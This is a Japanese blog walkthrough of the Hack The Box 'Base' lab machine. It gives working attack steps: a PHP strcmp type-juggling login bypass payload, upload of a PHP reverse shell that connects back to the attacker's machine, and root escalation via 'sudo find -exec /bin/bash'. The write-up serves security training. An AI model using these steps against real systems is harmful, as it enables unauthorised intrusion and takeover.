
Starting Point シリーズ最終章、「Base」攻略ガイドです。
前回の「Guard」に続き、今回は Starting Point のラストボックスを解説します。難易度は「Very Easy」ですが、PHPの型ジャグリング / アップロード脆弱性 / sudo を利用した権限昇格など、実務で役立つ基礎が学べます。
免責事項:
本記事では Hack The Box(HTB)Starting Point シリーズの学習目的に沿って解説を行っています。
旗(user.txt / root.txt)の内容は記載していません。手順を通してご自身で取得してください。
00. マシンの起動
まず「Spawn Machine」をクリックしてマシンを起動します。

起動後、対象マシンの IP アドレスが表示されます。

VPN と接続できているか確認するため ping を行います。環境によっては ICMP が無効化されている場合がありますが、通常は応答が返ります。

TTL が 63 のため、このマシンは Linux で動作していると推定できます。
01. 列挙(Enumeration)
01.1 全ポートスキャン
まず Nmap で全ポートをスキャンして開放サービスを確認します。
nmap -n -vv --open -T4 -p- -oN AllPorts.nmap 10.10.10.48

結果として開いているポートは少数でした。
01.2 詳細スキャン(スクリプト)
開いているポート(例:22,80)に対してサービス識別と NSE スクリプトを走らせます。
nmap -sV -sC -oN DetailPorts.nmap -p 22,80 10.10.10.48

今回はポート80(HTTP)を優先して調査します。ブラウザで http://10.10.10.48/ にアクセスします。

トップページに login ボタンがあり、/login/login.php に遷移します。

偶然 http://10.10.10.48/login/ に辿ると login.php.swp ファイルが残置されていることを発見しました。

*.swp は Vim のスワップファイルで、中身はバイナリ的に見えますが strings で可読文字列を取り出せます。表示が逆順だったため tac で逆順にして読みました。
strings login.php.swp | tac

config.php の中身や認証ロジックが確認でき、ログイン判定で strcmp を使っている実装ミス(型比較の不備=型ジャグリング)を発見しました。これは認証回避につながります(参考:PHP 型ジャグリング / strcmp の使い方)。
参考リンク:
- String comparison using == vs strcmp() in PHP
- PHP String Comparison Vulnerabilities
- PHP Magic Tricks: Type Juggling
02. Foothold(初期侵入)
strcmp に配列を与えるなどの形で値が NULL になる場合、== による比較で誤判定が起きることがあります。ここでは Burp Suite を使ってリクエストボディを改変し、配列パラメータを送る手法でログインを突破します。
送信例(POST ボディ):
username[]=admin&password[]=h4rithd

ログイン後、upload.php にリダイレクトされます。ここで任意ファイルをアップロード可能ですが、アップロード先が不明なためディレクトリ探索(dir fuzzing)を実施します。
dirsearch -u http://10.10.10.48/ -w /usr/share/seclists/Discovery/Web-Content/big.txt

数秒でアップロード先が判明しました(例:/_uploaded/)。次に PHP リバースシェルを用意してアップロードします。Pentest 標準の php-reverse-shell を入手して <?php 内の接続先IPを自分のマシンに書き換えます。
cp /usr/share/webshells/php/php-reverse-shell.php .
# 編集して <Your IP> を設定

アップロード操作を行い、アップロード済みファイルにアクセスしてシェルを取得します(リスナーは netcat 等で準備)。


取得されたシェルは www-data(または同等のwebユーザー)であることが多く、python3 -c 'import pty;pty.spawn("/bin/bash")' 等で TTY を整えます。
login.php.swp で検出した config.php を確認すると、データベース等の認証情報が含まれており、/etc/passwd を確認すると john ユーザーが存在していることが判明しました。


config.php に含まれるパスワード(例:thisisagoodpassword)で SSH ログイン可能ならば john としてログインし、user.txt を取得できます。

03. 権限昇格(Privilege Escalation)
john の資格情報を得たら、まず実行可能な sudo 権限を確認します。
sudo -l


このマシンでは find コマンドを sudo で実行できる設定になっており、-exec を使って任意コマンドを root 権限で実行できます。find の -exec を利用した典型的なエスカレーションパターンを使います。
コマンド例:
sudo /usr/bin/find /bin -exec /bin/bash \;
(-exec の使い方により新しい root シェルを得る)
実行により root 権限でシェルが得られ、root.txt を取得できます。


まとめと学習ポイント
これで Starting Point シリーズ(Included → Pathfinder → … → Base)の各マシンを通して学べる代表的な手法は一通り触れられました。Base は次のポイントを学べる良問です。
主な学び:
- スワップファイルや残置ファイルからのソース復元手法(
strings/tac等) - PHP における型比較の落とし穴(
strcmp/==による認証バイパス) - アップロード機能の確認・ディレクトリ検出(dirsearch 等)と Web シェル/リバースシェル運用
sudoの誤設定を利用した権限昇格(find -exec等)
これで Starting Point シリーズを完走しました。
ここまでの学習で、基礎から権限昇格までの流れを実践的に理解できたはずです。
いよいよ次は本番環境「アクティブマシン」へ。
自信を持って挑戦していきましょう。

注意:
- 本記事の手順はHack The Box公式環境における学習・演習目的です。記載されているユーザー名・パスワード・IP等はすべて架空データであり、実システムへの同様の操作は法律で禁止されています。
- 本記事で紹介した手法は、攻撃者視点を理解し、防御側の強化に役立てることを目的としています。
投稿者プロフィール

- ハリス ディルシャン
-
Offensive Security Engineer | Red Team Specialist
レッドチーム演習やペネトレーションテスト、脅威モデリングを専門とするオフェンシブセキュリティエンジニアです。エンタープライズ環境やWeb・モバイルアプリ、API、クラウドサービスにおけるセキュリティ評価を多数実施し、CTFやマルウェア解析、アンチウイルス回避などにも精通しています。2020年にはCEH Master世界ランキングでトップ10入りを果たし、国際的に高い評価を得ています。
主な保有資格:
● OSCP(Offensive Security Certified Professional)
● CPENT(Certified Penetration Testing Professional)
● eCPPT(Certified Professional Penetration Tester)
● eMAPT(Mobile Application Penetration Tester)
● CRTS(Certified Red Team Specialist)
● CEH Master(認定エシカルハッカー)
● SOC-100(Security Operations Essentials)
● PEN-100(Network Penetration Testing Essentials)
● SLIIT – 情報技術学士(サイバーセキュリティ専攻)
最新の投稿
HTB2025.12.03【セキュリティ解説】HTMLインジェクション:あなたのウェブアプリに潜む静かな脅威
HTB2025.11.26【DLLプロキシローディング解説】第1回:DLL Proxy Loading の仕組みと原理
HTB2025.11.19【Hack The Box入門】Broker 攻略解説
HTB2025.11.12【Hack The Box入門】Knife 攻略ガイド(Retired Machine)